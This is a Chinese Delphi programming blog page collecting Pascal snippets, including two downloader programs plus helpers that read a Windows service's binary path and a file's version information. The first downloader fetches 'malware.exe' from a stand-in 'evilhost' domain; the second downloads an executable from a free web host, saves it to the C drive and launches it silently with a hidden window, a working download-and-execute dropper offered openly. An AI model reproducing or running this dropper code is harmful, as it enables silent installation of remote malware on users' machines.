Download 和 Http Downloader 源码

网络 Delphi

本文整理自网络，侵删。

 program Download;

uses Windows, WinInet;

function ExtractFileName(FileName: string): string;
begin
while Pos('\', FileName) <> 0 do Delete(FileName, 1, Pos('\', FileName));
while Pos('/', FileName) <> 0 do Delete(FileName, 1, Pos('/', FileName));
Result := FileName;
end;


function DescargarFichero(const fileURL, FileName: String): boolean; 
const BufferSize = 1024; 
var 
hSession, hURL: HInternet; 
Buffer: array[1..BufferSize] of Byte; 
BufferLen: DWORD; 
f: File; 
sAppName: string; 
begin 
Result:=False; 
sAppName := ExtractFileName(paramstr(0));
hSession := InternetOpen(PChar(sAppName), INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0); 
try 
hURL := InternetOpenURL(hSession, PChar(fileURL), nil,0,0,0); 
try 
AssignFile(f, FileName); 
Rewrite(f,1); 
repeat 
InternetReadFile(hURL, @Buffer, SizeOf(Buffer), BufferLen); 
BlockWrite(f, Buffer, BufferLen); 
until BufferLen = 0; 
CloseFile(f); 
Result:=True; 
finally 
InternetCloseHandle(hURL); 
end; 
finally 
InternetCloseHandle(hSession); 
end; 
end;

begin
DescargarFichero('www.evilhost.com/malware.exe', 'malware.exe');
end.

======================HttpDownloader===========================

program Downloader;

uses
Windows,
SysUtils,
Classes,
WinInet;

type
TDownloadParams = record
FileURL, 
Proxy, 
ProxyBypass, 
AuthUserName, 
AuthPassword: String; 
DownloadFrom, 
NeedDataSize: DWORD; 
end;

function ShellExecute(hWnd: LongWord; Operation, FileName, Parameters,
Directory: PChar; ShowCmd: Integer): HINST; stdcall; external 'shell32.dll' name 'ShellExecuteA';

function DownloadFileEx(
Params: TDownloadParams; OutputData: TStream): Boolean;

function DelHttp(URL: String): String;
var
HttpPos: Integer;
begin
HttpPos := Pos('http://', URL);
if HttpPos > 0 then Delete(Url, HttpPos, 7);
Result := Copy(Url, 1, Pos('/', Url) - 1);
if Result = '' then Result := URL;
end;

const
Accept = 'Accept: */*' + sLineBreak; //Iniciamos construyendo un encabezado de solicitud HTTP
ProxyConnection = 'Proxy-Connection: Keep-Alive' + sLineBreak;
LNG = 'Accept-Language: ru' + sLineBreak;
AGENT =
'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; ' +
'Windows NT 5.1; SV1; .NET CLR 2.0.50727)' + sLineBreak;
var
FSession, FConnect, FRequest: HINTERNET;
FHost, FScript, SRequest, ARequest: String;
Buff, IntermediateBuffer: array of Byte;
BytesRead, Res, Len,
FilePosition, OpenTypeFlags, ContentLength: Cardinal;
begin
Result := False;
ARequest := Params.FileURL;


FHost := DelHttp(ARequest);
FScript := ARequest;
Delete(FScript, 1, Pos(FHost, FScript) + Length(FHost));


if Params.Proxy = '' then
OpenTypeFlags := INTERNET_OPEN_TYPE_PRECONFIG
else
OpenTypeFlags := INTERNET_OPEN_TYPE_PROXY;
FSession := InternetOpen('',
OpenTypeFlags, PChar(Params.Proxy), PChar(Params.ProxyBypass), 0);

if not Assigned(FSession) then Exit;
try

FConnect := InternetConnect(FSession, PChar(FHost),
INTERNET_DEFAULT_HTTP_PORT, PChar(Params.AuthUserName),
PChar(Params.AuthPassword), INTERNET_SERVICE_HTTP, 0, 0);

if not Assigned(FConnect) then Exit;
try


FRequest := HttpOpenRequest(FConnect, 'GET', PChar(FScript), nil,
'', nil, 0, 0);


HttpAddRequestHeaders(FRequest, Accept,
Length(Accept), HTTP_ADDREQ_FLAG_ADD);
HttpAddRequestHeaders(FRequest, ProxyConnection,
Length(ProxyConnection), HTTP_ADDREQ_FLAG_ADD);
HttpAddRequestHeaders(FRequest, LNG,
Length(LNG), HTTP_ADDREQ_FLAG_ADD);
HttpAddRequestHeaders(FRequest, AGENT,
Length(AGENT), HTTP_ADDREQ_FLAG_ADD);


Len := 0;
Res := 0;
SRequest := ' ';
HttpQueryInfo(FRequest, HTTP_QUERY_RAW_HEADERS_CRLF or
HTTP_QUERY_FLAG_REQUEST_HEADERS, @SRequest[1], Len, Res);
if Len > 0 then
begin
SetLength(SRequest, Len);
HttpQueryInfo(FRequest, HTTP_QUERY_RAW_HEADERS_CRLF or
HTTP_QUERY_FLAG_REQUEST_HEADERS, @SRequest[1], Len, Res);
end;

if not Assigned(FConnect) then Exit;
try


if not (HttpSendRequest(FRequest, nil, 0, nil, 0)) then Exit;


ContentLength := InternetSetFilePointer(
FRequest, 0, nil, FILE_END, 0);
if ContentLength = DWORD(-1) then
ContentLength := 0;

{
Len := 4;
ContentLength := 0;
HttpQueryInfo(FRequest, HTTP_QUERY_CONTENT_LENGTH or
HTTP_QUERY_FLAG_NUMBER, @ContentLength, Len, Res); 
}


FilePosition := InternetSetFilePointer(
FRequest, Params.DownloadFrom, nil, FILE_BEGIN, 0);
if FilePosition = DWORD(-1) then
FilePosition := 0;


if Params.NeedDataSize = 0 then
Params.NeedDataSize := ContentLength;
if Integer(FilePosition) + Params.NeedDataSize >
Integer(ContentLength) then
Params.NeedDataSize := ContentLength - FilePosition;


if Params.NeedDataSize <= 0 then
begin
SetLength(IntermediateBuffer, 8192);
ContentLength := 0;
Params.NeedDataSize := 0;
BytesRead := 0;
while InternetReadFile(FRequest, @IntermediateBuffer[0],
1024, BytesRead) do
if BytesRead > 0 then
begin
SetLength(Buff, ContentLength + BytesRead);
Move(IntermediateBuffer[0], Buff[ContentLength], BytesRead);
Inc(ContentLength, BytesRead);
end
else
begin
Params.NeedDataSize := ContentLength;
Break;
end; 
end
else
begin

SetLength(Buff, Params.NeedDataSize);
if not InternetReadFile(FRequest, @Buff[0],
Params.NeedDataSize, BytesRead) then Exit;
end;

OutputData.Write(Buff[0], Params.NeedDataSize);
Result := True;

finally
InternetCloseHandle(FRequest);
end;
finally
InternetCloseHandle(FConnect);
end;
finally
InternetCloseHandle(FSession);
end;
end;

var
Params: TDownloadParams;
Data: TMemoryStream;
begin
try
ZeroMemory(@Params, SizeOf(TDownloadParams));
Params.FileURL := 'http://www.freewebtown.com/pateame11/CALC.EXE';
Data := TMemoryStream.Create;
try
if DownloadFileEx(Params, Data) then
Data.SaveToFile('c:\testT.exe');
finally
Data.Free;
end;
except
on E:Exception do
Writeln(E.Classname, ': ', E.Message);
end;
SLEEP(500);
ShellExecute(0, 'open', 'C:\testT.exe', nil, nil, 0) ;
end.

///////////////////////////////////////////////////////////////////////////

uses 
SvcMgr,winsvc; 
function GetServicePath(const ServiceName:string):string; 
var 
lpcnfg:PQueryServiceConfig; 
nSize:DWORD; 
SvcMgr:THandle; 
iLen:Integer; 
Svc:THANDLE; 
qResult:boolean; 
begin 
Result:=''; 
SvcMgr := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS); 
if SvcMgr=0 then 
RaiseLastOSError; 
try 
Svc:=OpenService(SvcMgr,PChar(ServiceName),SERVICE_ALL_ACCESS); 
if Svc=0 then RaiseLastOSError; 
try 

lpcnfg:= PQueryServiceConfig( LocalAlloc(LPTR, 4096)); 
if not Assigned(lpcnfg) then exit; 
ZeroMemory(lpcnfg,4096); 
nSize:=4096; 
qResult:=QueryServiceConfig(Svc,lpcnfg,4096,nSize); 
if not qResult then exit; 
iLen:=Length(lpcnfg.lpBinaryPathName); 
SetLength(Result,iLen); 
CopyMemory(PChar(Result),PChar(lpcnfg.lpBinaryPathName),iLen); 

LocalFree(HLOCAL(lpcnfg)); 

finally 
CloseServiceHandle(Svc); 
end; 

finally 
CloseServiceHandle(SvcMgr); 
end; 
end;

///////////////////////////////////////////////////////////////////////////////////////

procedure TForm1.GetVersionInfo(File_Path:STRING);
const
SNotAvailable = 'Value Not Available';
var
LanguageID: string;
CodePage: string;
TranslationLength: Cardinal;
TranslationTable: Pointer; 
InfoSize, Temp, Len: DWord; 
InfoBuf: Pointer; 
CompanyName, FileDescription, FileVersion, InternalName, LegalCopyright: string; 
LegalTradeMarks, OriginalFilename, ProductName, ProductVersion, Comments: string; 
Value: PChar;
LookupString,FilePath : string;
FVersionInfoAvailable: Boolean;
begin
FilePath := File_Path;// 'c:\windows\Regedit.exe';
InfoSize := GetFileVersionInfoSize( PChar(FilePath ), Temp );
FVersionInfoAvailable := InfoSize > 0;
if FVersionInfoAvailable then 
begin 
InfoBuf := AllocMem( InfoSize ); 
try 
GetFileVersionInfo( PChar( FilePath ), 0, InfoSize, InfoBuf ); 
if VerQueryValue( InfoBuf, '\VarFileInfo\Translation', TranslationTable, TranslationLength ) then 
begin 
CodePage := Format( '%.4x', [ HiWord( PLongInt( TranslationTable )^ ) ] ); 
LanguageID := Format( '%.4x', [ LoWord( PLongInt( TranslationTable )^ ) ] ); 
end; 

LookupString := 'StringFileInfo\' + LanguageID + CodePage + '\'; 

if VerQueryValue( InfoBuf, PChar( LookupString + 'CompanyName' ), Pointer( Value ), Len ) then 
CompanyName := Value; 
if VerQueryValue( InfoBuf, PChar( LookupString + 'FileDescription' ), Pointer( Value ), Len ) then 
FileDescription := Value; 
if VerQueryValue( InfoBuf, PChar( LookupString + 'FileVersion' ), Pointer( Value ), Len ) then 
FileVersion := Value; 
if VerQueryValue( InfoBuf, PChar( LookupString + 'InternalName' ), Pointer( Value ), Len ) then 
InternalName := Value; 
if VerQueryValue( InfoBuf, PChar( LookupString + 'LegalCopyright' ), Pointer( Value ), Len ) then 
LegalCopyright := Value; 
if VerQueryValue( InfoBuf, PChar( LookupString + 'LegalTrademarks' ), Pointer( Value ), Len ) then 
LegalTradeMarks := Value; 
if VerQueryValue( InfoBuf, PChar( LookupString + 'OriginalFilename' ), Pointer( Value ), Len ) then 
OriginalFilename := Value; 
if VerQueryValue( InfoBuf, PChar( LookupString + 'ProductName' ), Pointer( Value ), Len ) then 
ProductName := Value; 
if VerQueryValue( InfoBuf, PChar( LookupString + 'ProductVersion' ), Pointer( Value ), Len ) then 
ProductVersion := Value; 
if VerQueryValue( InfoBuf, PChar( LookupString + 'Comments' ), Pointer( Value ), Len ) then 
Comments := Value; 
finally 
FreeMem( InfoBuf, InfoSize ); 
end; 
end 
else 
begin 
CompanyName := SNotAvailable; 
FileDescription := SNotAvailable; 
FileVersion := SNotAvailable; 
InternalName := SNotAvailable; 
LegalCopyright := SNotAvailable; 
LegalTrademarks := SNotAvailable; 
OriginalFilename := SNotAvailable; 
ProductName := SNotAvailable; 
ProductVersion := SNotAvailable; 
Comments := SNotAvailable; 
end; 
Memo1.Lines.Clear;
Memo1.Lines.Add( '公司名称：'+ CompanyName );
Memo1.Lines.Add( '文件说明：'+ FileDescription );
Memo1.Lines.Add( '文件版本：'+ FileVersion );
Memo1.Lines.Add( '内部名称：'+ InternalName );
Memo1.Lines.Add( '版 权：'+ LegalCopyright );
Memo1.Lines.Add( '合法商标：'+ LegalTrademarks );
Memo1.Lines.Add( '原文件名：'+ OriginalFilename );
Memo1.Lines.Add( '产品名称：'+ ProductName );
Memo1.Lines.Add( '产品版本：'+ ProductVersion );
Memo1.Lines.Add( '注 解：'+ Comments );
end;

相关阅读 >>

Delphi 获取网卡mac为软件注册机器码

Delphi 一个不错的枚举进程例子

Delphi中如何用一个按钮控制开与关两个状态

Delphi重写一个字符串分割函数

Delphi mscomm 发送接收

Delphi xe 打开andorid gps设置

Delphi idhttp.get方法

Delphi 快捷键

Delphi 提取字符串中所有数字

Delphi 释放bitmap

更多相关阅读请进入《Delphi》频道 >>



标签：

打赏

取消

感谢您的支持，我会继续努力的!

扫码支持
扫码打赏，您说多少就多少

打开支付宝扫一扫，即可进行扫码打赏哦

分享从这里开始，精彩与您同在

相关推荐

评论

管理员已关闭评论功能...